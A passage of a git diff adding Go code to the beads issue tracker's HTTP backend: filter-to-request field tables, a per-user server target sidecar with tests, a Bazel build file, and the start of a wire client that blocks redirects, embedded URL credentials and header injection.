keeping it honest is +// that it refuses every field it cannot express rather than answering a wider +// question than was asked (L12). +// +// Status is the one exception, and it is a DERIVED DEFAULT rather than a refusal +// (D4's parent-walk inversion, applied to this bridge's single derived member): +// listReadyWork publishes no `status`, and the server re-derives ready work's +// status from a status-LESS request through workapi.BuildReadyFilter — +// unconditionally StatusOpen. Every real `bd ready` carries exactly that value, +// because BuildReadyFilter stamps it on the filter it always builds, so the +// encoder recognizes StatusOpen as the server's own default and sends nothing. +// Any other status, and any populated Statuses OR-set, still refuses (L12) — the +// refuse-not-drop guard for the hand-built shapes BuildReadyFilter never emits. +func readyBridgeTable() Table { + const statusInversionWhy = "ready work's one derived default: listReadyWork publishes no `status`, and the server re-derives open-only from a status-less request through workapi.BuildReadyFilter (unconditionally StatusOpen), so the encoder sends that value as the absence the server reads it back from (D4 parent-walk inversion)" + return Table{ + Op: OpListReadyWork, Shape: "workFilterBridge", + Source: tyWorkFilter, Target: tyReadyRequest, + Fields: []FieldEntry{ + {Name: "Status", Disposition: DispInverted, Ledger: "E-WorkFilter.Status", Why: statusInversionWhy}, + refused("Statuses", "E-WorkFilter.Statuses"), + paramTo("Type", "type", "IssueType"), + paramTo("Priority", "priority", "Priority"), + paramTo("Assignee", "assignee", "Assignee"), + paramTo("Unassigned", "unassigned", "Unassigned"), + paramTo("Labels", "label", "Labels"), + paramTo("LabelsAny", "label_any", "LabelsAny"), + paramTo("ExcludeLabels", "exclude_label", "ExcludeLabels"), + paramTo("LabelPattern", "label_pattern", "LabelPattern"), + paramTo("LabelRegex", "label_regex", "LabelRegex"), + paramTo("Limit", "limit", "Limit"), + paramTo("SortPolicy", "sort", "Sort"), + paramTo("ParentID", "parent", "ParentID"), + refused("MoleculeID", "E-WorkFilter.MoleculeID"), + refused("MolType", "E-WorkFilter.MolType"), + refused("WispType", "E-WorkFilter.WispType"), + paramTo("IncludeDeferred", "include_deferred", "IncludeDeferred"), + paramTo("IncludeEphemeral", "include_ephemeral", "IncludeEphemeral"), + paramTo("ExcludeTypes", "exclude_type", "ExcludeTypes"), + paramTo("MetadataFields", "metadata_field", "MetadataFields"), + paramTo("HasMetadataKey", "has_metadata_key", "HasMetadataKey"), + paramTo("Lite", "brief", "Brief"), + refused("ExcludeIDs", "E-WorkFilter.ExcludeIDs"), + refused("Offset", "E-WorkFilter.Offset"), + clientSide("MaxRows", + "enforced during page accumulation exactly as ListRequest.MaxRows is, so `bd ready --max-rows` exits 2 over http where it exits 2 locally (D12)"), + clientSide("MaxRowsSource", "the cap's attribution; it decides no answer (D12)"), + }, + } +} + +// searchExactIDsTable is D11's exact-ids fast path: the shape +// ResolvePartialID's first probe takes, special-cased to one getIssue per id. +func searchExactIDsTable() Table { + return Table{ + Op: OpGetIssue, Shape: "searchExactIDs", + Source: tyIssueFilter, Target: tyGetRequest, + Fields: bridgeEntries( + FieldEntry{Name: "IDs", Disposition: DispPath, Param: "{id}", Decoded: "ID", + Why: "one getIssue per id, bounded at MaxExactIDs; a 404 maps to the empty result the resolver expects, so resolution proceeds instead of erroring"}, + refused("ParentID", "E-IssueFilter.shapeConflict"), + refused("Limit", "E-IssueFilter.Limit@exactIDs"), + ), + } +} + +// searchParentWalkTable is D4's hierarchical descendant walk: per-level paged +// listIssues?parent= calls, with the derived-default inversion the ga-2ieek +// escalation resolved the shape contradiction with. +// +// It is written out in full rather than spread from issueFilterBridgeRefusals, +// because this shape is where the two bridges stop agreeing: the walk carries +// `bd list`'s whole built filter, so six of its members are DERIVED defaults +// the server re-derives (DispInverted) and eleven more are explicit user filters +// listIssues publishes parameters for. The exact-ids shape still refuses every +// one of them, which is why the enumeration cannot be shared. +func searchParentWalkTable() Table { + const inversionWhy = "a derived default of workapi.BuildListFilter, re-derived server-side from the intent parameters the encoder sends in its place (D4 parent-walk inversion)" + inverted := func(name, ledger string) FieldEntry { + return FieldEntry{Name: name, Disposition: DispInverted, Ledger: ledger, Why: inversionWhy} + } + walkRefusal := func(name string) FieldEntry { + return refused(name, "P-IssueFilter."+name) + } + return Table{ + Op: OpListIssues, Shape: "searchParentWalk", + Source: tyIssueFilter, Target: tyListRequest, + Fields: []FieldEntry{ + paramTo("ParentID", "parent", "ParentID"), + refused("IDs", "E-IssueFilter.shapeConflict"), + + // The derived defaults, in the order the inversion compares them. + inverted("ExcludeStatus", "P-IssueFilter.ExcludeStatus"), + inverted("Pinned", "P-IssueFilter.Pinned"), + inverted("IsTemplate", "P-IssueFilter.IsTemplate"), + inverted("ExcludeTypes", "P-IssueFilter.ExcludeTypes"), + inverted("Ephemeral", "P-IssueFilter.Ephemeral"), + inverted("SkipWisps", "P-IssueFilter.SkipWisps"), + + // The explicit user filters, under their documented parameters. The + // two status members share one parameter because the wire's `status` + // is the comma-separated spelling BOTH of them came from: a single + // name lands on Status, several land on Statuses, and the operation's + // decoder splits the value back the same way. + paramTo("Status", "status", "Status"), + paramTo("Statuses", "status", "Status"), + paramTo("IssueType", "type", "IssueType"), + paramTo("Assignee", "assignee", "Assignee"), + paramTo("Labels", "label", "Labels"), + paramTo("LabelsAny", "label_any", "LabelsAny"), + paramTo("ExcludeLabels", "exclude_label", "ExcludeLabels"), + paramTo("CreatedBefore", "created_before", "CreatedBefore"), + paramTo("CreatedAfter", "created_after", "CreatedAfter"), + paramTo("MetadataFields", "metadata_field", "MetadataFields"), + paramTo("HasMetadataKey", "has_metadata_key", "HasMetadataKey"), + + clientSide("Limit", + "the walk asks for every descendant at each level (the CLI sets Limit=0 so no level is truncated), and unlimited maps to PAGING TO EXHAUSTION rather than to limit=0, which the server refuses outright off loopback. The pager owns the per-page `limit`"), + clientSide("MaxRows", + "the wire publishes no max_rows, so the pager enforces the cap during page accumulation and synthesizes issueops.ErrTooManyRows — the sentinel `bd list` classifies into exit 2 (D12)"), + clientSide("MaxRowsSource", "the cap's attribution, read back by the synthesized refusal's text; it decides no answer (D12)"), + + dropped("SortBy", "P-IssueFilter.SortBy", + "the walk accumulates every level into a map keyed by id (findAllDescendants), so no per-level order survives into the answer at all — this is a drop with nothing to drop"), + dropped("SortDesc", "P-IssueFilter.SortDesc", + "the same absence as SortBy, from the other half of the same order"), + dropped("SkipLabels", "P-IssueFilter.SkipLabels", + "the wire hydrates labels either way; dropping the opt-out costs a join and hands the caller more data, never less"), + dropped("SkipCounts", "P-IssueFilter.SkipCounts", + "the wire hydrates the three cardinalities either way, and EVERY text rendering of `bd list` sets this — refusing would kill the walk's default rendering, which is the one thing D4 requires it to serve"), + + walkRefusal("Priority"), + walkRefusal("LabelPattern"), + walkRefusal("LabelRegex"), + walkRefusal("TitleSearch"), + walkRefusal("IDPrefix"), + walkRefusal("SpecIDPrefix"), + walkRefusal("TitleContains"), + walkRefusal("DescriptionContains"), + walkRefusal("NotesContains"), + walkRefusal("ExternalRefContains"), + walkRefusal("ExternalRef"), + walkRefusal("UpdatedAfter"), + walkRefusal("UpdatedBefore"), + walkRefusal("ClosedAfter"), + walkRefusal("ClosedBefore"), + walkRefusal("StartedAfter"), + walkRefusal("StartedBefore"), + walkRefusal("AfterCreatedAt"), + walkRefusal("AfterID"), + walkRefusal("AfterPriority"), + walkRefusal("EmptyDescription"), + walkRefusal("NoAssignee"), + walkRefusal("NoLabels"), + walkRefusal("PriorityMin"), + walkRefusal("PriorityMax"), + walkRefusal("SourceRepo"), + walkRefusal("EphemeralTier"), + walkRefusal("IsBlocked"), + walkRefusal("NoParent"), + walkRefusal("MolType"), + walkRefusal("WispType"), + walkRefusal("Deferred"), + walkRefusal("DeferAfter"), + walkRefusal("DeferBefore"), + walkRefusal("DueAfter"), + walkRefusal("DueBefore"), + walkRefusal("Overdue"), + walkRefusal("IncludeDependencies"), + walkRefusal("NoIDShrink"), + walkRefusal("Offset"), + walkRefusal("Lite"), + }, + } +} + +// bridgeEntries prefixes a shape's own entries to the shared IssueFilter +// refusal enumeration. +// +// The enumeration it expands is written out by hand in ledger_fields.go, and it +// derives nothing from the struct — which is what leaves a newly added upstream +// field unclassified and therefore caught. Only the exact-ids shape uses it now: +// the descendant walk stopped sharing the enumeration when D4's inversion gave +// six of those members a derived-default reading and eleven more a documented +// parameter, and a helper that spread one list across two shapes that no longer +// agree would be hiding the disagreement rather than recording it. +func bridgeEntries(shape ...FieldEntry) []FieldEntry { + out := make([]FieldEntry, 0, len(issueFilterBridgeRefusals)+len(shape)) + out = append(out, shape...) + for _, name := range issueFilterBridgeRefusals { + out = append(out, refused(name, "E-IssueFilter."+name)) + } + return out +} diff --git a/internal/httpclient/helpers_test.go b/internal/httpclient/helpers_test.go new file mode 100644 index 000000000..def45f212 --- /dev/null +++ b/internal/httpclient/helpers_test.go @@ -0,0 +1,20 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore test helpers@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import "testing" + +// ptr returns a pointer to v (test helper lifted alongside credential_test.go). +func ptr[T any](v T) *T { return &v } + +// testTarget builds a minimal, valid Target for tests that only care about +// save/load/remove round-tripping the sidecar and not about any particular +// server identity. It carries no CAFile and no ExpectProjectID, matching the +// "connect with nothing pinned yet" shape — callers that need a specific +// field set (e.g. an absolute CAFile) build their own Target literal instead +// of asking this helper to grow a parameter for every case. +func testTarget(t *testing.T) Target { + t.Helper() + return Target{BaseURL: mustParseURL(t, "https://example.com")} +} diff --git a/internal/httpclient/target.go b/internal/httpclient/target.go new file mode 100644 index 000000000..81a482b23 --- /dev/null +++ b/internal/httpclient/target.go @@ -0,0 +1,156 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/target.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "encoding/json" + "errors" + "fmt" + "net/url" + "os" + "path/filepath" +) + +// TargetFileName is the per-user, untracked activation sidecar that names the +// server this workspace is attached to. metadata.json is git-tracked by design +// and selects the backend; the URL and the identity pin are per-user state and +// live beside it, following the proxied_server_client_info.json precedent +// (design D1). +const TargetFileName = "http_target.json" + +// ErrNotConnected reports a workspace that selects the http backend but has no +// activation sidecar, so there is no server to dial. +var ErrNotConnected = errors.New("no http target configured for this workspace; run `bd connect `") + +// Target is the resolved endpoint for one workspace (design D5). +type Target struct { + // BaseURL is the server mount root (scheme http or https). + BaseURL *url.URL + // ExpectProjectID pins the workspace identity recorded at `bd connect`; "" + // skips the check. It is compared against ContextResponse.project_id at + // handshake (D6). + ExpectProjectID string + // CAFile names a PEM file that becomes the ENTIRE trusted root pool for + // this target — not an addition to the system store — set by + // `bd connect --ca-file `. "" leaves this target on the system + // roots. MUST BE ABSOLUTE: `bd connect` resolves the flag's path with + // filepath.Abs before writing it, and SaveTarget and LoadTarget both + // refuse a relative one rather than resolving it against whatever + // directory bd happens to run in. BEADS_HTTP_CA_FILE (see TransportFor / CAFileEnv), when its + // host-scoped pattern matches this target, overrides this per the + // documented precedence — env beats sidecar, the same rung order the + // bearer ladder uses, but the two disagreeing is a refusal, not a silent + // override. This field exists for a private CA with no name constraints + // (the Gas City Beads Serve CA) that must never be trusted for any host + // but this one, so it must never be installed system-wide or exported via + // SSL_CERT_FILE. + CAFile string +} + +// String renders the target for error text. A zero Target renders empty, which +// is what keeps a backstop refusal from naming a server it never resolved. +func (t Target) String() string { + if t.BaseURL == nil { + return "" + } + return t.BaseURL.String() +} + +// targetFile is the on-disk sidecar. `api` is recorded so a future path major +// can be detected without a handshake; D6 still gates on the server's own +// api_version. +type targetFile struct { + URL string `json:"url"` + ExpectProjectID string `json:"expect_project_id,omitempty"` + API string `json:"api,omitempty"` + // CAFile mirrors Target.CAFile; see that field's doc for the trust model + // and TransportFor for the env-vs-sidecar precedence. + CAFile string `json:"ca_file,omitempty"` +} + +// TargetPath is the sidecar's location for a workspace. +func TargetPath(beadsDir string) string { + return filepath.Join(beadsDir, TargetFileName) +} + +// LoadTarget reads the activation sidecar. It is deliberately the minimal read +// the Open path needs — resolution order (`--server-url`, BEADS_SERVER_URL, the +// provider ladder) and the whole `bd connect` write path are owned elsewhere. +// A missing sidecar is ErrNotConnected, not a nil result: an http workspace +// with no target cannot be opened at all. +func LoadTarget(beadsDir string) (Target, error) { + path := TargetPath(beadsDir) + data, err := os.ReadFile(path) // #nosec G304 - controlled path + if os.IsNotExist(err) { + return Target{}, ErrNotConnected + } + if err != nil { + return Target{}, fmt.Errorf("reading %s: %w", TargetFileName, err) + } + var f targetFile + if err := json.Unmarshal(data, &f); err != nil { + return Target{}, fmt.Errorf("parsing %s: %w", TargetFileName, err) + } + if f.URL == "" { + return Target{}, fmt.Errorf("%s names no url; re-run `bd connect `", TargetFileName) + } + u, err := url.Parse(f.URL) + if err != nil { + return Target{}, fmt.Errorf("parsing url in %s: %w", TargetFileName, err) + } + if u.Scheme != "http" && u.Scheme != "https" { + return Target{}, fmt.Errorf("url in %s has scheme %q; want http or https", TargetFileName, u.Scheme) + } + if err := checkCAFileAbsolute(f.CAFile); err != nil { + return Target{}, err + } + return Target{BaseURL: u, ExpectProjectID: f.ExpectProjectID, CAFile: f.CAFile}, nil +} + +// checkCAFileAbsolute refuses a relative ca_file (see Target.CAFile). LoadTarget +// and SaveTarget share it, so a sidecar can never be written holding a value +// every later load would refuse. +func checkCAFileAbsolute(caFile string) error { + if caFile != "" && !filepath.IsAbs(caFile) { + return fmt.Errorf( + "ca_file in %s is %q, a relative path; it must be absolute, because resolving it against the current directory would pick a different file depending on where bd was run — re-run `bd connect --ca-file` to record an absolute path", + TargetFileName, caFile) + } + return nil +} + +// SaveTarget writes the sidecar 0600, beside metadata.json. It exists so tests +// and the connect command share one encoder; the connect UX itself (gitignore +// coverage, identity verification, conversion consent) is not here. It refuses +// a relative CAFile before writing anything, with LoadTarget's own message. +func SaveTarget(beadsDir string, t Target) error { + if err := checkCAFileAbsolute(t.CAFile); err != nil { + return err + } + f := targetFile{ExpectProjectID: t.ExpectProjectID, API: "v0", CAFile: t.CAFile} + if t.BaseURL != nil { + f.URL = t.BaseURL.String() + } + data, err := json.MarshalIndent(f, "", " ") + if err != nil { + return fmt.Errorf("marshaling %s: %w", TargetFileName, err) + } + if err := os.WriteFile(TargetPath(beadsDir), data, 0o600); err != nil { + return fmt.Errorf("writing %s: %w", TargetFileName, err) + } + return nil +} + +// RemoveTarget deletes the activation sidecar, reporting whether one was there. +// It is `bd connect --clear`'s whole write: detaching is a per-user act, so it +// must never touch the tracked metadata.json that selects the backend. +func RemoveTarget(beadsDir string) (bool, error) { + err := os.Remove(TargetPath(beadsDir)) + if os.IsNotExist(err) { + return false, nil + } + if err != nil { + return false, fmt.Errorf("removing %s: %w", TargetFileName, err) + } + return true, nil +} diff --git a/internal/httpclient/target_test.go b/internal/httpclient/target_test.go new file mode 100644 index 000000000..783c54438 --- /dev/null +++ b/internal/httpclient/target_test.go @@ -0,0 +1,139 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/target_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "errors" + "os" + "path/filepath" + "strings" + "testing" +) + +// TestRemoveTarget is `bd connect --clear`'s whole write. Detaching is per-user, +// so it must be exactly one file removal — a workspace still selects whatever +// backend its tracked metadata.json says after it. +func TestRemoveTarget(t *testing.T) { + t.Run("removes the sidecar and nothing else", func(t *testing.T) { + dir := t.TempDir() + metadata := filepath.Join(dir, "metadata.json") + if err := os.WriteFile(metadata, []byte(`{"backend":"http"}`), 0o600); err != nil { + t.Fatalf("seed metadata.json: %v", err) + } + if err := SaveTarget(dir, testTarget(t)); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + + removed, err := RemoveTarget(dir) + if err != nil { + t.Fatalf("RemoveTarget: %v", err) + } + if !removed { + t.Error("RemoveTarget reported nothing removed, but a sidecar was there") + } + if _, err := os.Stat(TargetPath(dir)); !os.IsNotExist(err) { + t.Errorf("sidecar still present: %v", err) + } + body, err := os.ReadFile(metadata) + if err != nil || string(body) != `{"backend":"http"}` { + t.Errorf("metadata.json = %q (%v); --clear must not touch the tracked file", body, err) + } + }) + + t.Run("no sidecar is not an error", func(t *testing.T) { + removed, err := RemoveTarget(t.TempDir()) + if err != nil { + t.Fatalf("RemoveTarget on an unconnected workspace: %v", err) + } + if removed { + t.Error("RemoveTarget reported a removal it did not make") + } + }) +} + +// TestSaveTargetHoldsNoToken pins the one thing the sidecar file format +// guarantees: it is per-user, untracked state naming a server, and a credential +// has no home in it. A URL with embedded userinfo would smuggle one in. +func TestSaveTargetHoldsNoToken(t *testing.T) { + dir := t.TempDir() + if err := SaveTarget(dir, testTarget(t)); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + body, err := os.ReadFile(TargetPath(dir)) + if err != nil { + t.Fatalf("read sidecar: %v", err) + } + for _, field := range []string{"token", "password", "authorization"} { + if strings.Contains(strings.ToLower(string(body)), field) { + t.Errorf("sidecar carries a %q field:\n%s", field, body) + } + } +} + +// TestLoadTargetRejectsRelativeCAFile is finding 3: a relative ca_file in the +// sidecar must be refused with a clear error rather than resolved against +// whatever directory `bd` happens to be run from, which would silently pick a +// different file depending on the caller's cwd. +func TestLoadTargetRejectsRelativeCAFile(t *testing.T) { + dir := t.TempDir() + sidecar := `{"url":"https://example.com","ca_file":"relative/ca.pem"}` + if err := os.WriteFile(TargetPath(dir), []byte(sidecar), 0o600); err != nil { + t.Fatalf("seed sidecar: %v", err) + } + _, err := LoadTarget(dir) + if err == nil { + t.Fatal("LoadTarget accepted a relative ca_file") + } + if !strings.Contains(err.Error(), "relative/ca.pem") { + t.Errorf("error %q does not name the offending path", err) + } + if !strings.Contains(err.Error(), "absolute") { + t.Errorf("error %q does not say the path must be absolute", err) + } +} + +// TestSaveTargetRejectsRelativeCAFile is LoadTarget's refusal on the write +// side: a relative ca_file must never reach the sidecar, where every later +// LoadTarget would refuse it and leave the workspace unopenable. The refusal is +// LoadTarget's own message, and it writes nothing, so the workspace stays +// unconnected rather than holding a sidecar it cannot load. +func TestSaveTargetRejectsRelativeCAFile(t *testing.T) { + dir := t.TempDir() + saveErr := SaveTarget(dir, Target{BaseURL: mustParseURL(t, "https://example.com"), CAFile: "relative/ca.pem"}) + if saveErr == nil { + t.Fatal("SaveTarget accepted a relative ca_file") + } + if _, err := LoadTarget(dir); !errors.Is(err, ErrNotConnected) { + t.Errorf("LoadTarget after the refused save = %v, want ErrNotConnected: nothing may be written", err) + } + + seeded := t.TempDir() + sidecar := `{"url":"https://example.com","ca_file":"relative/ca.pem"}` + if err := os.WriteFile(TargetPath(seeded), []byte(sidecar), 0o600); err != nil { + t.Fatalf("seed sidecar: %v", err) + } + _, loadErr := LoadTarget(seeded) + if loadErr == nil || saveErr.Error() != loadErr.Error() { + t.Errorf("SaveTarget refused with %q; want LoadTarget's own refusal %q", saveErr, loadErr) + } +} + +// TestLoadTargetAcceptsAbsoluteCAFile is the control for the above: an +// absolute ca_file round-trips through LoadTarget unchanged. +func TestLoadTargetAcceptsAbsoluteCAFile(t *testing.T) { + dir := t.TempDir() + abs := filepath.Join(secureTempDir(t), "ca.pem") + if err := os.WriteFile(abs, []byte("whatever"), 0o600); err != nil { + t.Fatalf("seed ca file: %v", err) + } + if err := SaveTarget(dir, Target{BaseURL: mustParseURL(t, "https://example.com"), CAFile: abs}); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + got, err := LoadTarget(dir) + if err != nil { + t.Fatalf("LoadTarget with an absolute ca_file: %v", err) + } + if got.CAFile != abs { + t.Errorf("CAFile = %q, want %q", got.CAFile, abs) + } +} diff --git a/internal/httpclient/wire/BUILD.bazel b/internal/httpclient/wire/BUILD.bazel new file mode 100644 index 000000000..3d520f9c4 --- /dev/null +++ b/internal/httpclient/wire/BUILD.bazel @@ -0,0 +1,60 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "wire", + srcs = [ + "client.go", + "credential.go", + "doc.go", + "handshake.go", + "paths.go", + "problem.go", + "revision_tolerance.go", + "stream.go", + "writes.go", + ], + importpath = "github.com/steveyegge/beads/internal/httpclient/wire", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/httpapi/apigen", + "//issueops", + "@org_golang_x_net//http/httpguts", + ], +) + +go_test( + name = "wire_test", + srcs = [ + "client_test.go", + "credential_source_test.go", + "credential_test.go", + "handshake_test.go", + "handshake_wire_revision_test.go", + "helpers_test.go", + "paths_test.go", + "problem_test.go", + "problem_wire_revision_test.go", + "project_stamp_test.go", + "revision_tolerance_test.go", + "skew_test.go", + "stream_test.go", + "vocabulary_test.go", + "writes_batch_cap_test.go", + "writes_twospeed_test.go", + ], + data = [ + "//cmd/bd:go_srcs", + "//internal/httpapi/wireshape:testdata/golden.json", + "//internal/httpclient:go_srcs", + ] + glob(["*.go"]), + embed = [":wire"], + deps = [ + "//internal/httpapi", + "//internal/httpapi/apigen", + "//internal/httpapi/spec", + "//internal/httpclient/encode", + "//internal/types", + "//issueops", + "@in_gopkg_yaml_v3//:yaml_v3", + ], +) diff --git a/internal/httpclient/wire/client.go b/internal/httpclient/wire/client.go new file mode 100644 index 000000000..2c6fd6263 --- /dev/null +++ b/internal/httpclient/wire/client.go @@ -0,0 +1,482 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/client.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "fmt" + "io" + "net/http" + "net/url" + "strconv" + "strings" + "time" + + "golang.org/x/net/http/httpguts" +) + +// ProjectIDHeader names the optional per-request workspace-identity stamp this +// client sends, spelled exactly as the server's httpapi.ProjectIDHeader and held +// to it by TestProjectIDHeaderMatchesTheServerConstant. A client that pinned an +// expected project id at `bd connect` stamps every request with it, so a server +// whose identity has drifted refuses the request (400 project_mismatch) before it +// can read or write the wrong workspace, instead of silently answering it. The +// header is redeclared here rather than imported because internal/httpapi is the +// SERVER — importing it would drag the storage engine into every client process. +const ProjectIDHeader = "Bd-Project-Id" + +// WireRevisionHeader names the per-request wire-shape declaration this client +// sends on every request, spelled exactly as the server's own +// httpapi.WireRevisionHeader (held to it by +// TestTheProjectIdentityVocabularyMatchesTheServer). Redeclared rather than +// imported for ProjectIDHeader's reason: internal/httpapi is the SERVER. +const WireRevisionHeader = "Bd-Wire-Revision" + +const ( + // DefaultUserAgent identifies the backend rather than the build. The build + // version lives in package main, which nothing here may import, so the + // activation layer overrides this with the stamped one. + DefaultUserAgent = "bd-http-backend/v0" + // DefaultMaxResponseBytes bounds one response body. A full page of issues + // with long descriptions is a few megabytes; anything at this size is a URL + // pointing at something that is not a bd serve, and reading it into memory + // is the actual damage. + DefaultMaxResponseBytes = 32 << 20 + // DefaultMaxRetryAfter bounds how long a 503's Retry-After may ask for. The + // header is server-controlled input; see retryAfter. + DefaultMaxRetryAfter = 30 * time.Second + // DefaultTimeout is the per-request ceiling for a client this package built. + // A caller's context still wins when it is shorter, and an injected + // *http.Client keeps its own. Exported so a caller that must build its own + // *http.Client — to layer in a custom RoundTripper such as the one + // httpstore.TransportFor returns — can match this default rather than + // silently dropping it. + DefaultTimeout = 60 * time.Second +) + +// Options tunes the client. The zero value is usable: every field falls back to +// the Default* constants above. +type Options struct { + // HTTPClient is used as given except for CheckRedirect, which is always + // forced (see New). Nil builds one. + HTTPClient *http.Client + // UserAgent is sent on every request. + UserAgent string + // MaxResponseBytes bounds one response body. + MaxResponseBytes int64 + // MaxRetryAfter bounds the Retry-After a 503 may ask for. + MaxRetryAfter time.Duration + // ExpectProjectID pins workspace identity, recorded at `bd connect`. The + // handshake compares it against ContextResponse.project_id; "" skips the + // check. + ExpectProjectID string +} + +// Client is one workspace's connection to one bd serve. +// +// It is safe for concurrent use: everything below the handshake cache is +// request-scoped, and the cache takes a mutex. +type Client struct { + base *url.URL + hc *http.Client + creds CredentialProvider + userAgent string + maxBytes int64 + maxRetry time.Duration + + handshake handshakeCache + expectID string +} + +// New builds a client for base. +// +// creds may be nil, which is the tip OSS server's loopback-trust posture: no +// Authorization header is sent and a 401 is never retried, because there is +// nothing to rotate. +func New(base *url.URL, creds CredentialProvider, opts Options) (*Client, error) { + if base == nil { + return nil, errors.New("no server URL") + } + if err := validateBase(base); err != nil { + return nil, err + } + + hc := opts.HTTPClient + if hc == nil { + hc = &http.Client{Timeout: DefaultTimeout} + } else { + clone := *hc + hc = &clone + } + // Forced on the copy, never on the caller's client. A 30x that the stdlib + // followed would replay the Authorization header at whatever host the + // Location named, which is the one thing a bearer token must never do. + hc.CheckRedirect = func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse } + + c := &Client{ + base: normalizeBase(base), + hc: hc, + creds: creds, + userAgent: opts.UserAgent, + maxBytes: opts.MaxResponseBytes, + maxRetry: opts.MaxRetryAfter, + expectID: opts.ExpectProjectID, + } + if c.userAgent == "" { + c.userAgent = DefaultUserAgent + } + if c.maxBytes <= 0 { + c.maxBytes = DefaultMaxResponseBytes + } + if c.maxRetry <= 0 { + c.maxRetry = DefaultMaxRetryAfter + } + // A pinned project id becomes a header value on EVERY request, so a value + // that is not a legal header value has to be caught here, at open, and refused + // LOUDLY — never stamped-and-hoped or silently skipped, which would turn a + // corrupt sidecar into either a per-request transport failure or an unenforced + // workspace. httpguts.ValidHeaderFieldValue is the byte-level RFC 7230 rule + // net/http itself applies; the package's own isControlRune check is layered on + // top of it because that rule is byte-based and misses the multi-byte control + // runes (the C1 block, U+2028/U+2029) an escape-injection would hide in. + if c.expectID != "" && + (!httpguts.ValidHeaderFieldValue(c.expectID) || strings.ContainsFunc(c.expectID, isControlRune)) { + return nil, &InvalidProjectIDError{ServerURL: c.base.Redacted(), ProjectID: c.expectID} + } + return c, nil +} + +// BaseURL is the server mount root this client dials. +func (c *Client) BaseURL() *url.URL { + u := *c.base + return &u +} + +// validateBase refuses the shapes that would make every later URL wrong or +// unsafe. +func validateBase(base *url.URL) error { + switch base.Scheme { + case "http", "https": + default: + return fmt.Errorf("server URL %q: scheme must be http or https", base.Redacted()) + } + if base.Host == "" { + return fmt.Errorf("server URL %q: no host", base.Redacted()) + } + // Refused rather than stripped. A credential in the URL would be echoed by + // every error that names the server, and the sidecar this URL comes from is + // specified to hold no token at all. + if base.User != nil { + return errors.New("server URL carries embedded credentials; put the token in the credential source, not the URL") + } + if base.RawQuery != "" || base.Fragment != "" { + return fmt.Errorf("server URL %q: a query or fragment is not a mount root", base.Redacted()) + } + return nil +} + +func normalizeBase(base *url.URL) *url.URL { + u := *base + // A trailing slash on the mount root would join to a doubled separator. + for len(u.Path) > 1 && u.Path[len(u.Path)-1] == '/' { + u.Path = u.Path[:len(u.Path)-1] + u.RawPath = "" + } + if u.Path == "/" { + u.Path = "" + } + return &u +} + +// Request is one call on the v0 surface: the operation being dialed, where it +// lives, and what it carries. +// +// Path comes from the builders in paths.go and is already escaped. IssueID and +// DependsOnID are not sent — they are what the problem mapper needs to rebuild +// the typed conflicts whose extension members the server leaves out because the +// request already said them. +type Request struct { + Op string + Method string + Path string + Query url.Values + // Body is marshaled as JSON when non-nil. + Body any + + IssueID string + DependsOnID string +} + +// Do issues r and decodes a 2xx body into out, which may be nil for a response +// the caller does not read. +// +// Non-2xx returns *ProblemError, unwrapping to the canonical sentinel for its +// code. Everything before a response — a dial failure, a refused redirect, an +// oversized body — returns its own typed error, because none of those is the +// server answering. +// +// Do does NOT pre-flight. The dispatch layer calls Preflight first, and the +// separation is deliberate: the refusal taxonomy has to refuse a post-baseline +// operation before a request is built at all, and folding the handshake in here +// would make every transport test carry one. +func (c *Client) Do(ctx context.Context, r Request, out any) error { + var body []byte + if r.Body != nil { + var err error + body, err = json.Marshal(r.Body) + if err != nil { + return fmt.Errorf("%s: encoding request body: %w", r.Op, err) + } + } + + u, err := c.resolve(r.Path, r.Query) + if err != nil { + return fmt.Errorf("%s: %w", r.Op, err) + } + + res, err := c.roundTrip(ctx, r, u, body) + if err != nil { + return err + } + + // The rotation window, and the whole of it. The server re-reads its token + // file on a ~1s gate, so a client rolled mid-flight 401s once and succeeds + // on the retry; a second 401 is a credential this server does not accept. + if res.status == http.StatusUnauthorized && c.creds != nil { + retry, err := c.creds.Refresh(ctx) + if err != nil { + // Fail closed: a credential source that errored is not a license to + // send the stale one again, and it is certainly not a license to + // send none. + return fmt.Errorf("%s: refreshing the credential for bd serve at %s: %w", r.Op, c.base.Redacted(), err) + } + if retry { + if res, err = c.roundTrip(ctx, r, u, body); err != nil { + return err + } + } + } + + if res.status < 200 || res.status >= 300 { + prob := mapProblem(c.target(r), res.status, res.header, res.body, c.maxRetry) + // A refused credential should name the ladder rung it came from (design + // D7). The source is a client-side fact the provider knows, not something + // the server said, so it is attached here rather than parsed from the body. + if res.status == http.StatusUnauthorized { + prob.CredentialSource = credentialSource(c.creds) + } + return prob + } + if out == nil { + return nil + } + if len(bytes.TrimSpace(res.body)) == 0 { + return fmt.Errorf("%s: bd serve at %s answered %d with an empty body", r.Op, c.base.Redacted(), res.status) + } + decodeBody := res.body + // A pre-#6053 server's `revision` is still a bare JSON integer; every + // apigen response type that carries one declares it `string`, so decoding + // straight into out would fail with an untyped json.UnmarshalTypeError on + // exactly the servers ClientMinWireRevision exists to keep talking to. See + // revision_tolerance.go. + if revisionBearingResponse(out) && c.serverPredatesRevisionStrings() { + decodeBody = tolerateLegacyRevisionNumbers(decodeBody, out) + } + if err := json.Unmarshal(decodeBody, out); err != nil { + return fmt.Errorf("%s: decoding the response from bd serve at %s: %w", r.Op, c.base.Redacted(), err) + } + return nil +} + +func (c *Client) target(r Request) target { + return target{op: r.Op, serverURL: c.base.Redacted(), issueID: r.IssueID, dependsOnID: r.DependsOnID, expectID: c.expectID} +} + +// credentialSourceReporter is the optional half of a CredentialProvider: a +// provider that can name the ladder rung its current credential came from. It is +// kept off the CredentialProvider interface itself so a no-auth or 